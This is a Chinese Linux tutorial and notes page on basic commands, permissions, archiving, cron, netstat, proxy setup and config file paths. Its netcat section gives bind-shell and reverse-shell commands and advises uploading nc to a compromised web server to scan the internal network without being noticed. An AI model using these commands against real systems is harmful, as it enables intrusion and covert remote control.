linux目录结构


linux基础命令
单用户操作系统和多用户操作系统
单用户操作系统:指一台计算机在同一时间只能由一个用户使用,一个用户独自享用全部的软件和硬件资源。
windows xp之前的版本都是单用户操作系统
多用户操作系统:指一台计算机在同一时间可以由多个用户使用,多个用户共同享用全部的软件和硬件资源。
Unix和linux的设计初衷就是多用户操作系统
1.常用linux命令的基本使用
命令 | 作用 |
---|---|
ls | 查看当前文件夹下的内容 |
pwd | 查看当前所在文件夹 |
cd [目录名] | 切换文件夹 |
touch [文件名] | 如果文件不存在,新建文件 |
mkdir [目录名] | 创建目录 |
rm [文件名] | 删除指定的文件名 |
clear | 清屏 |
查阅命令帮助信息
1. command --help
2. man command
使用man时的操作键:
操作键 | 功能 |
---|---|
空格 | 手册页的下一页 |
b | 回滚一屏 |
Enter键 | 一次滚动手册页的一行 |
q | 退出 |
ls常用参数:
参数 | 含义 |
---|---|
-a | 显示指定目录下所有子目录与文件,包括隐藏文件 |
-l | 以列表方式显示文件的详细信息 |
-h | 配合 -l以人性化的方式显示文件大小 |
ls通配符的使用:
通配符 | 含义 |
---|---|
* | 代表任意个数个字符 |
? | 代表任意一个字符,必须是一个 |
[] | 表示可以匹配字符组中的任一一个。例如[123]、[a-f] |
cd常用参数:
命令 | 含义 |
---|---|
cd | 切换到当前用户的主目录(/home/用户目录) |
cd ~ | 切换到当前用户的主目录(/home/用户目录) |
cd - | 可以在最近两次工作目录之间来回切换 |
touch扩展:
如果文件不存在,可以创建一个空白文件
如果文件已经存在,可以修改文件的末次修改日期
mkdir常用参数:
参数 | 含义 |
---|---|
-p | 可以递归创建目录 |
注意:在当前目录中,目录与文件不能同名
rm常用参数:
rm删除的内容不能恢复!
选项 | 含义 |
---|---|
-r | 删除目录时必须使用次参数,并且能递归删除目录下的内容 |
-f | 强制删除,忽略不存在的文件,无需提示 |
2.拷贝和移动文件
命令 | 作用 |
---|---|
tree | 以树状图列出文件目录结构 |
cp 源文件 目标文件 | 复制文件 |
mv 源文件 目标文件 | 移动文件或者目录/文件或者目录重命名 |
tree:
选项 | 含义 |
---|---|
-d | 只显示目录 |
cp:
选项 | 含义 |
---|---|
-i | 覆盖文件前提示 |
-r | 若给出的源文件是目录文件,则cp将递归复制该目录下的所有子目录和文件,目标文件必须为一个目录名 |
mv:
选项 | 含义 |
---|---|
-i | 覆盖文件前提示 |
3.查看文件内容
命令 | 作用 |
---|---|
cat 文件名 | 查看文件内容、创建文件、文件合并、追加文件内容等功能 |
more 文件名 | 分屏显示文件内容 |
grep 搜索文本 文件名 | 搜索文本文件内容 |
cat:
选项 | 含义 |
---|---|
-b | 对非空输出行编号 |
-n | 对输出的所有行编号 |
grep:
选项 | 含义 |
---|---|
-n | 显示匹配行及行号 |
-v | 显示不包括含匹配文本的所有行 |
-i | 忽略大小写 |
grep允许对文本进行模式查找,所谓模式查找,又被称为正则表达式
参数 | 含义 |
---|---|
^a | 行首,搜村以a开头的行 |
ke$ | 行尾,搜寻以ke结束的行 |
4.输出
echo 文字内容
echo 会在终端显示参数指定的文字,通常会和重定向联合使用
重定向>和>>
linux允许将命令执行结果重定向到一个文件,将本应显示在终端上的内容输出/追加到指定文件中
>表示输出,会覆盖文件原有内容
>> 表示追加,会将内容追加到已有文件的末尾
管道|
linux允许将一个命令的输出可以通过管道 | 作为另一个命令的输入
常用的管道命令有:
more、grep
5.远程管理命令
shutdown:
命令 | 含义 |
---|---|
shutdown 选项 时间 | 关机/重启 |
shutdown now/20:25 | 立刻/20:25关机 |
shutdown -r now/20:25 | 立刻/20:25重启 |
shutdown +10 | 系统再过十分钟关机 |
shutdown -c | 取消之前的关机计划 |
若不指定选项和参数,默认表示1分钟之后关闭电脑
远程登录和复制文件:
命令 | 作用 |
---|---|
ssh 用户名@ip | 远程登录会话 |
scp 用户名@ip:文件名或路径 用户名@ip:文件名或路径 | 远程复制文件 |
ssh:
数据传输是加密的,可以防止信息泄露
数据传输是压缩的,可以提高传输速度
ssh [-p port] user@ip
//port是SSH Server监听的端口,如果不指定,就默认为22
免密码登录:
1.配置公私钥: 执行 ssh-keygen即可生成ssh钥匙,一路回车即可
2.上传公钥(id_rsa.pub)到服务器: 执行 ssh-copy-id -p port user@ip ,可以让远程服务记住我们的公钥
配置别名:
在~/.ssh/config里面追加以下内容:
Host win
HostName ip地址
user jack
Port 22
设置的免密码登录和配置的别名对于scp命令同样适用
scp:
它的地址格式与ssh基本相同,需要注意的是,在制定端口时用的时大写的 -P而不是小写的
//把本地当前目录下的 01.py文件复制到 远程家目录下的 Desktop/01.py
//注意: ':'后面的路径如果不是绝对路径,则以用户的家目录作为参照路径
scp -P port 01.py user@ip:Desktop/01.py
//把远程家目录下的 Desktop/01.py文件复制到 本地当前目录下的01.py
scp -P port user@ip:Desktop/01.py 01.py
#加上 -r 选项可以传送文件夹
6.用户权限相关命令
对文件/目录的权限包括:
权限 | 缩写 |
---|---|
读 | r |
写 | w |
执行 | x |
组
为了方便用户管理,提出了组的概念
ls -l扩展
文件类型,(“-” 表示普通文件,“d” 表示目录,“l” 表示软链接文件,“p” 表示pipe管道文件,“b” 表示块设备文件,“c” 表示字符设备文件,“s” 表示socket套接字文件,用于实现两个进程间通信)
权限,分别表示文件所有者的权限,组的权限和其他用户的权限
硬链接数,通俗的讲,就是有多少中方式,可以访问到当前目录/文件
拥有者,家目录下 文件/目录 的拥有者通常都是当前用户
组,在linux中,很多时候,会出现组名和用户名相同的情况
大小
时间
名称(蓝色代表目录/文件夹、浅蓝色代表链接文件、绿色代表可执行文件、灰白色代表一般文件、红色代表压缩文件、黄色代表设备文件)


chmod
chmod可以修改用户/组 对 文件/目录的权限
命令格式:
chmod +/-rwx 文件名|目录名
//会同时修改用户、组和其他用户的权限,不能精准定位
注:要想在目录下执行终端命令(ls、touch),就必须要有可执行权限!!!
chmod在设置权限时,可以简单的使用三个数字,分别对应 拥有者/组和其他 用户的权限
chmod -R 755 文件名|目录名 R表示递归修改权限
r | w | x |
---|---|---|
4 | 2 | 1 |
超级用户
linux 系统中的root账号通常用于系统的维护和管理,对操作系统的所有资源具有所有访问权限
在linux安装过程中,系统会自动创建一个用户账号,而这个默认的用户就被称为“标准用户”
sudo
sudo命令用来以其他身份来执行命令,预设的身份是root
用户使用sudo时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码
组管理 终端命令
注:创建组/删除组的终端命令都需要通过sudo执行
命令 | 作用 |
---|---|
groupadd 组名 | 添加组 |
groupdel 组名 | 删除组 |
cat /etc/group | 确认组信息 |
chown 用户名 文件名|目录名 | 修改文件/目录的拥有者 |
chgrp -R 组名 文件/目录名 | 修改文件/目录的所属组 |
用户管理 终端命令
注:创建用户/删除用户/修改其他用户密码 的终端命令都需要通过sudo执行
创建用户/设置密码/删除用户
命令 | 作用 | 说明 |
---|---|---|
useradd -m -g 组 新建用户名 | 添加新用户 | -m 自动建立用户家目录 | -g 指定用户所在的组,否则会建立一个和用户同名的组 |
passwd 用户名 | 设置用户密码 | 如果是普通用户,直接用passwd可以修改自己的账户密码 |
userdel -r 用户名 | 删除用户 | -r选项会自动删除用户家目录 |
cat /etc/passwd | 确认用户信息 | 新建用户后,用户信息会保存在/etc/passwd文件中 |
查看用户信息
命令 | 作用 |
---|---|
id [用户名] | 查看用户UID(用户代号,在/etc/passwd)和GID(组代号,在/etc/group)信息 |
who | 查看当前所有登录的用户列表 |
whoami | 查看当前登录用户的账户名 |
passwd文件
/etc/passwd文件存放的是用户的信息,由6个分号组成的7个信息,分别是
用户名:密码(x表示加密的密码):UID:GID:用户全名或本地账号:家目录:登录使用的shell(就是登录之后使用的终端命令)
usermod
usermod可以用来设置用户的 主组/附加组 和 登录shell
主组:通常在新建用户时指定,在/etc/passwd的第4列GID对应的组
附加组:在/etc/group中最后一列表示该组的用户列表,用于指定 用户的附加权限
提示:设置了用户的附加组之后,需要重新登录才能生效!
//修改用户的主组
usermod -g 组 用户名 !!!慎用
!!!注!!!:usemod -G 改写用户的附加组之后,用户的附加组信息是覆盖,也就是说usermod使用户只能存在于一个附加组。
//修改用户登录shell
usermod -s /bin/bash 用户名
注:默认时使用useradd添加的用户是没有权限使用sudo以root身份执行命令的,可以使用usermod -G sudo 用户名 将用户添加到sudo附加组中
注:usemod -G 改写用户的附加组之后,用户的附加组信息是覆盖,也就是说usermod使用户只能存在于一个附加组。使用户同时属于多个附加组要使用gpasswd:
gpasswd
//添加用户到组
gpasswd -a 用户名 组名
//从组删除用户
gpasswd -d 用户名 组名
which
which命令可以查看执行命令所在位置,例如:
which ls
# /bin/ls
which useradd
# /usr/sbin/useradd
bin和sbin
在linux中,绝大多数可执行文件都是保存在/bin、/sbin、/usr/bin、/usr/sbin
/bin是二进制执行文件目录,主要用于具体应用
/sbin是系统管理员专用的二进制代码存放目录,主要用于系统管理
/usr/bin是整个系统安装好后后期安装的一些软件
/usr/sbin是超级用户的一些管理程序
切换用户
命令 | 作用 | 说明 |
---|---|---|
su - 用户名 | 切换用户,并且切换目录 | - 可以切换到用户家目录,否则保持位置不变 |
exit | 退出当前登录账户 |
su不接用户名,可以切换到root
7.系统信息相关命令
时间和日期
序号 | 作用 |
---|---|
date | 查看系统时间 |
cal | 查看日历,-y可以查看一年的日历 |
磁盘信息
命令 | 作用 |
---|---|
df -h | disk free 显示磁盘剩余空间大小 |
du -h [目录名] | disk usage 显示目录下文件大小(没有指定目录名时会显示当前目录) |
-h:以人性化的方式显示文件大小
进程信息
命令 | 作用 |
---|---|
ps aux | process status 查看进程的详细状况 |
top | 动态显示进行中的进程并且排序 |
kill [-9] 进程代号 | 终止指定代号的进程,-9表示强行终止 |
ps默认只会显示当前用户通过终端启动的应用程序
要退出top可以直接输入q
ps选项说明
选项 | 含义 |
---|---|
a | 显示终端上的所有进程,包括其他用户的进程 |
u | 显示进程的详细状态 |
x | 显示没有控制终端的进程 |
8.其他命令
查找文件
命令 | 作用 |
---|---|
find [路径] -name “*.py” | 查找指定路径下扩展名是.py的文件,包括子目录 |
软链接
命令 | 作用 |
---|---|
ln -s 被链接的源文件 链接文件 | 建立文件的软链接,用通俗的方式讲类似于windows下的快捷方式 |
注:没有 -s 选项建立的是一个 硬链接 文件
源文件要使用绝对路径,不能使用相对路径,这样可以方便移动链接文件后,仍然能正常使用
硬链接
在linux中,文件名 和 文件数据 是分开存储的

打包/解包
tar 是linux中最常用的备份工具,此命令可以 把一系列文件 打包到 一个大文件中,也可以把一个 打包的大文件恢复成一系列文件
//打包文件
tar -cvf 打包文件.tar 被打包的文件/路径
//解包文件
tar -xvf 打包文件.tar
tar选项说明
选项 | 含义 |
---|---|
c | 生成档案文件,创建打包文件 |
x | 解开档案文件 |
v | 列出归档解档的详细过程,显示进度 |
f | 指定档案文件名称,f后面一定是.tar文件,所以必须方选项最后 |
注:f 选项必须放在最后,其他选项顺序可以随意
压缩/解压缩
gzip
tar 与 gzip 命令结合可以实现文件 打包和压缩
tar 只负责打包文件,但不压缩
用 gzip压缩tar 打包后的文件,其扩展名一般用 xxx.tar.gz
在 linux中,最常见的压缩文件格式就是xxx.tar.gz
在tar 命令中有一个 -z 选项可以调用 gzip,从而可以方便的实现压缩和解压缩的功能
//压缩文件
tar -zcvf 打包文件.tar.gz 被压缩的文件/路径...
//解压缩文件
tar -zxvf 打包文件.tar.gz
//解压缩到指定路径
tar -zxvf 打包文件.tar.gz -C 目标路径
bzip2
tar 与 bzip2 命令结合可以使用实现文件 打包和压缩
tar 只负责打包文件,但不压缩
用 bzip 压缩 tar 打包后的文件,其扩展名一般用 xxx.tar.bz2
在tar 命令中有一个 -j 选项可以调用 gzip,从而可以方便的实现压缩和解压缩的功能
//压缩文件
tar -jcvf 打包文件.tar.gz 被压缩的文件/路径...
//解压缩文件
tar -jxvf 打包文件.tar.gz
//解压缩到指定路径
tar -jxvf 打包文件.tar.gz -C 目标路径
选项 | 含义 |
---|---|
-C | 解压缩到指定目录,注意:指定的目录必须存在 |
定时任务
在 Linux 中创建定时任务通常使用 Cron 服务。Cron 是一个用于在预定时间执行特定任务的系统工具。
创建的cron定时文件在/var/spool/cron/[crontabs]/<username>文件夹下,一般以创建定时用户的用户名命名
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)
基本操作:
#1.编辑cron表
crontab -e
#2.指定cron作业
* * * * * command
(*从左到右分别指分钟 (0 - 59)、小时 (0 - 23)、日期 (1 - 31)、月份 (1 - 12)、星期几 (0 - 7,0 和 7 都代表星期日))
其他选项:
#列出当前用户的cron作业
crontab -l
#从文件导入cron作业
crontab filename
#删除当前用户的所有cron作业
crontab -r
软件安装
通过 apt 安装/卸载软件
apt 是 advanced Packing Tool ,是linux下的一款安装包管理工具
//安装软件
sudo apt install 软件名
//卸载软件
sudo apt remove 软件名
//更新已安装的包
sudo apt upgrade
一个小火车
sudo apt install sl
一个当前进程排名软件
sudo apt install htop
linux进阶命令
netstat(查看网络服务及监听端口)
Netstat 是一款命令行工具,可用于列出系统上所有的网络套接字连接情况,包括 tcp, udp 以及 unix 套接字,另外它还能列出处于监听状态(即等待接入请求)的套接字。
若使用netstat -nlpt会显示如下信息:

属性列表:
|Proto|连接协议的种类 |Recv-Q|接收到的字节数 |Send-Q|从本服务器发出去的字节数
|Local Address|本地ip地址/主机名 |Foreign Address|远程主机的IP地址 |state|网络连接状态
|PID/Program name|进程号/进程名
State(网络连接状态)详解:
LISTEN:(Listening for a connection.)侦听来自远方的TCP端口的连接请求
SYN-SENT:(Active; sent SYN. Waiting for a matching connection request after having sent a connection request.)再发送连接请求后等待匹配的连接请求
SYN-RECEIVED:(Sent and received SYN. Waiting for a confirming connection request acknowledgment after having both received and sent connection requests.)再收到和发送一个连接请求后等待对方对连接请求的确认
ESTABLISHED:(Connection established.)代表一个打开的连接
FIN-WAIT-1:(Closed; sent FIN.)等待远程TCP连接中断请求,或先前的连接中断请求的确认
FIN-WAIT-2:(Closed; FIN is acknowledged; awaiting FIN.)从远程TCP等待连接中断请求
CLOSE-WAIT:(Received FIN; waiting to receive CLOSE.)等待从本地用户发来的连接中断请求
CLOSING:(Closed; exchanged FIN; waiting for FIN.)等待远程TCP对连接中断的确认
LAST-ACK:(Received FIN and CLOSE; waiting for FIN ACK.)等待原来的发向远程TCP的连接中断请求的确认
TIME-WAIT:(In 2 MSL (twice the maximum segment length) quiet wait after close. )等待足够的时间以确保远程TCP接收到连接中断请求的确认
CLOSED:(Connection is closed.)没有任何连接状态
Netstat选项:
-a或--all:显示所有连线中的Socket;
-A<网络类型>或--<网络类型>:列出该网络类型连线中的相关地址;
-c或--continuous:持续列出网络状态;
-C或--cache:显示路由器配置的缓存信息;
-e或--extend:显示拥有者信息;
-F或--fib:显示FIB;
-g或--groups:显示多重广播功能群组组员名单;
-h或--help:在线帮助;
-i或--interfaces:显示网络界面信息表单;
-l或--listening:显示监控中的服务器的Socket;
-M或--masquerade:显示伪装的网络连线;
-n或--numeric:直接使用IP地址,而不通过域名服务器(禁用反向域名解析);
-N或--netlink或--symbolic:显示网络硬件外围设备的符号连接名称;
-o或--timers:显示计时器;
-p或--programs:显示正在使用Socket的程序识别码和程序名称;(必须使用root权限)
-r或--route:显示路由表;
-s或--statistics:显示网络工作信息统计表;
-t或--tcp:显示TCP传输协议的连线状况;
-u或--udp:显示UDP传输协议的连线状况;
-v或--verbose:显示指令执行过程;
-V或--version:显示版本信息;
-w或--raw:显示RAW传输协议的连线状况;
-x或--unix:此参数的效果和指定-A unix参数相同;
--ip或--inet:此参数的效果和指定-A inet参数相同。
例如:
netstat -a 列出 tcp, udp 和 unix 协议下所有套接字的所有连接。
netstat -c 持续输出信息
netstat -at 列出所有tcp连接
netstat -au 列出所有udp连接
netstat -atn 禁用反向域名解析,加快查询速度
netstat -tln 只列出监听中的连接(不要使用 -a 选项,否则 netstat 会列出所有连接,而不仅仅是监听端口。)
netstat -tlpe 获取进程名、进程号(-p选项必须使用root权限)以及用户名( 假如你将 -n 和 -e 选项一起使用,User 列的属性就是用户的 ID 号,而不是用户名。)
netstat -rn 显示内核路由信息
netstat -ie 打印网络接口信息(-i输出的信息比较原始,可以配合-e输出用户友好的信息,输出信息与 ifconfig 输出的信息一样。)
注:[::]:*
和:::*
表示所有可用的Ipv6地址上的所有端口,0.0.0.0:*
表示所有可用的Ipv4地址上的所有端口(以上都是ipv6和ipv4地址和端口通配符的写法)
netcat
netcat是网络界的瑞士军刀,使用netcat,可以解决客户端主动连接服务器被防火墙拦截的问题,使用netcat,我们的pc(控制端)相当于服务器,服务器(被控制端)相当于一个客户端。
目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包
-c: 如同'-e',使用/bin/sh来执行
-d: 后台模式
-e: 连接后要执行的程序 (程序重定向)
-g<网关>: 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目>: 设置源路由指向器的数量,值为4的倍数。
-i<延迟秒数>: 设置时间间隔,以便传送信息及扫描通信端口
-l: 使用监听模式,管理和控制传入的数据
-n: 直接使用IP地址,不通过域名服务器(禁用反向域名解析)
-o<输出文件>: 指定文件名称,把往来传输的数据转换为16进制字符后保存在该文件中
-p<通信端口>: 设置本机使用的通信端口
-r: 随机指定本机与远程主机的通信端口
-s<源地址>: 设置本机送出数据包的IP地址
-u: 使用UDP传输协议
-v: 详细输出(`-v`: 显示基本的信息。`-vv`: 显示更详细的信息。`-vvv`: 显示更加详细和详尽的信息。)
-w<超时秒数>:设置等待连线的时间
-z: 将输入/输出功能关闭,只在扫描通信端口时使用(仅仅是去 ping 去探测目标是否开启指定端口,不进行任何的交互)
常用:
#端口扫描
nc -nvz 172.168.1.101 1-100
(nc -nvz ip port) (z仅仅是去探测目标是否开启指定端口,不进行任何交互。z 参数默认扫描的是 tcp 类型,如果需要扫描 udp,则需要使用参数 u。)(单纯的端口扫描利用其它工具比如 nmap会更好。nc端口扫描最主要的用途是,当我们获得了一个网站的权限之后对内网进行扫描。然而,我们的nmap工具是不能扫描到内网的,所以这时我们可以把nc上传到web服务器上,利用它来扫描内网主机。而由于nc体积很小,所以不容易被发现。)
------------------------------------------------------------------------------------
#传输文本信息
A计算机监听,B计算机以连接的方式去连接其指定的端口(监听方和连接方都可互发信息)
A: netcat -lp 666
B: netcat -nv 192.168.1.103 666
------------------------------------------------------------------------------------
#传输文件和目录
与文本信息传输类似
A: netcat -lp 666>1.jpg
B: netcat -nv 192.168.1.103 666<1.jpg
对于传输目录与文件传输类似,传输时将目录压缩进行传输,接收时解压
A: tar cvf - fa/ | nc -lp 666
B: netcat -nv 192.168.1.103 666 | tar xvf -
------------------------------------------------------------------------------------
#正向shell
正向是目标机器主动指定 bash并监听,然后通过攻击机连接目标机的端口,攻击机输入命令,执行命令的是目标机器
目标机器: netcat -lp 666 -c bash
攻击机: netcat 192.168.1.103 666
#反向shell
正向是攻击机监听端口,然后通过目标机器主动指定bash并连接,攻击机输入命令,执行命令的是目标机器
攻击机: netcat -lp 666
目标机器: netcat 192.168.1.103 666 -c bash
参考:https://zhuanlan.zhihu.com/p/397058259
其他
linux文件描述符
在Linux系统中,文件描述符(File Descriptor)是一个非负整数,用于标识一个打开的文件或I/O流。Linux系统中,文件描述符用于访问文件、设备、网络套接字等资源。
常见的文件描述符:
- 标准输入(stdin):文件描述符为0,通常指向键盘输入。
- 标准输出(stdout):文件描述符为1,通常指向屏幕输出。
- 标准错误(stderr):文件描述符为2,通常也指向屏幕输出,但用于错误消息。
#重定向标准输出到文件:
cat foo > foo.txt
#重定向标准错误到文件:
cat foo 2> foo.txt
#重定向标准输出,标准错误到同一个文件:
1. cat foo > foo.txt 2>&1
2. cat foo &> foo.txt
3. cat foo >& foo.txt(在一些shell中这被认为是错误的语法)
& 表示等同于的意思,2>&1,表示2的输出重定向位置等同于1的位置,即和1重定向的文件系统上的位置是一样的
(以上实例都是覆盖写入,可以将其改为>>追加写入)
虚拟机配置网络代理
(1)clash直接开启allow lan模式,虚拟机设置nat模式
以下都需要在clash全局模式(global)下
(2)虚拟机使用net网络模式
直接在主机clash上开启TUN模式和混合配置(mixin)(防止冲突关闭systemproxy系统代理)

按照上面三步依次执行,最后点开mixin选项,编辑文件,删除里面的内容,粘贴上下面的内容即可!
mixin:
hosts:
'mtalk.google.com': 108.177.125.188
'services.googleapis.cn': 74.125.203.94
'raw.githubusercontent.com': 151.101.76.133
dns:
enable: true
default-nameserver:
- 223.5.5.5 # 阿里的DNS服务器
- 1.0.0.1 # CloudFlare的DNS服务器
ipv6: false
enhanced-mode: redir-host #fake-ip
nameserver:
- https://dns.rubyfish.cn/dns-query
- https://223.5.5.5/dns-query
- https://dns.pub/dns-query
fallback:
- https://1.0.0.1/dns-query
- https://public.dns.iij.jp/dns-query
- https://dns.twnic.tw/dns-query
fallback-filter:
geoip: true
ipcidr:
- 240.0.0.0/4
- 0.0.0.0/32
- 127.0.0.1/32
domain:
- +.google.com
- +.facebook.com
- +.twitter.com
- +.youtube.com
- +.xn--ngstr-lra8j.com
- +.google.cn
- +.googleapis.cn
- +.gvt1.com
tun:
enable: true
stack: gvisor
dns-hijack:
- 198.18.0.2:53
macOS-auto-route: true
macOS-auto-detect-interface: true # 自动检测出口网卡
(3)虚拟机使用桥接模式
<1>clash开启系统代理(systemproxy)
<2>linux进入/etc/profile.d目录,新建proxy.sh,内容如下:
export proxy="http://192.168.150.1:7890"
export http_proxy=$proxy
export https_proxy=$proxy
export HTTP_PROXY=$proxy
export HTTPS_PROXY=$proxy
export all_proxy=socks5://192.168.10.103:7890
<3>执行脚本文件
sourch proxy.sh
<4>配置github网络代理
git config --global http.https://github.com.proxy socks5://192.168.150.1:7890
<5>检查代理
curl cip.cc
<6>浏览器代理需要单独配置,chrome可以用代理插件
Linux配置文件路径大全
1:/etc/sysconfig/i18n(语言配置文件).2:/etc/sysconfig/network-scripts/ifcfg-eth0(eth0配置文件).
3:/boot/grub/grub.conf(grup配置文件) 或/boot/grub/menu.list.
4:/etc/passwd:系统用户数据库文件.
5:/etc/group:组的数据库文件.
6:/etc/gshadow(存放密码).
7:/etc/shadow(存放密码).
8:/etc/profile(系统环境).
9:/etc/bashrc(系统变量).
10:/etc/shells(存放shell).
11:/etc/sudoers(sudo配置文件).
12:/etc/inittab(设置启动级别).
13:/etc/rc.d/rc.local系统启动是执行的文件类似于windows的autoexec.bat).
14HOME/Xclients(控制启动x客户端).
15:/etc/X11/Xinit/xinitrc.d/xinput(启动x-windows的加载程序配置文件).
16:/etc/fstab(文件系统格式表).
17:/var/log/(存放日志目录).
18:/var/spool/at/(存放at时间任务的目录).
19:/etc/at.deny(禁止时间任务,针对用户).
20:/etc/at.allow( 允许时间任务,针对用户).
21:/etc/crontab(crontab配置文件).
22:/etc/anacrontab(anacrontab配置文件).
23:/etc/moudle.conf(网卡,声卡,usb的模块).
24:/etc/protocols(协议).
25:/etc/services(端口).
26:/etc/dhcpd.conf(DHCP配置文件,默任不存在).
27:/var/lib/dhcp/dhcpd.leases(查看哪个用户,使用你的dhcp服务器).
29:/etc/hosts 或者 /etc/sysconfig/network(修改主机名).
30:/etc/named.conf(DNS主配置文件).
31:/etc/host.conf(解晰主机时用host表还是dns).
32:/etc/resolv.conf(指定dns服务器ip).
33:/etc/httpd/conf/httpd.conf(apache配置文件)
34:/etc/mail/(sendmail目录).
35:/etc/aliases(别名配置文件).
36:/etc/samba/smb.conf(smb配置文件).
37:/etc/proftpd.conf(ftp配置文件).
38:/etc/squid/squid.conf(squid配置文件).
39:/etc/pam.d/su(限制用户使用su).
40:/etc/secruetty(限制根用户直接登陆终端).
41:/etc/secrrity/access.conf(限制某用户登陆).
42:/etc/nologin(限制所有用户登陆).
43:/etc/sudoers(强制用户每次使用sudo输入密码).
44:/etc/security/time.conf(限制用户登陆系统时间).
45:/etc/hosts.allow
46:/etc/hosts.deny
47:/etc/issue(登陆提示)
48:/etc/issue.net(远程登陆提示).
49:/etc/motd(输入用户名和密码后看到的内容).
50:/etc/login.defs(生成新用户,基本参数).
51:/etc/logrotate.conf(日志文件各级的选项).
52:/proc/sys/net/ipv4/ip_forward(即使路由功能打开).
53:/etc/sysctl.conf(永久打开路由功能).
54:/proc/sys/net/ipv4/icmp_echo_igore_all(是否允许ping).
55:/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts(广播ping)
56:/proc/self/cmdline(获取当前执行系统命令)
57:/proc/net/arp(查看内网存活主机)
58:/etc/hosts(同上)
59:/proc/net/tcp
60:/proc/net/udp
61:/proc/net/dev
62:/proc/net/fib_trie
63:/proc/self/environ
64:/sys/class/net/eth0/address(获得网卡mac地址)
Nginx 重要文件目录
配置文件存放目录:/etc/nginx
主要配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
linux下的快捷键
ctrl+c强行中断当前程序的执行。
ctrl+z将任务中断,但是此任务并没有结束,他仍然在进程中,只是放到后台并维持挂起的状态。如需其在后台继续运行,需用“bg 进程号”使其继续运行;再用"fg 进程号"可将后台进程前台化。
ctrl+\表示退出。
ctrl+d表示结束当前输入(即用户不再给当前程序发出指令),那么Linux通常将结束当前程序。(ctrl-d 不是发送信号,而是表示一个特殊的二进制值,表示 EOF。)(在shell中,ctrl-d表示退出当前shell.)
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。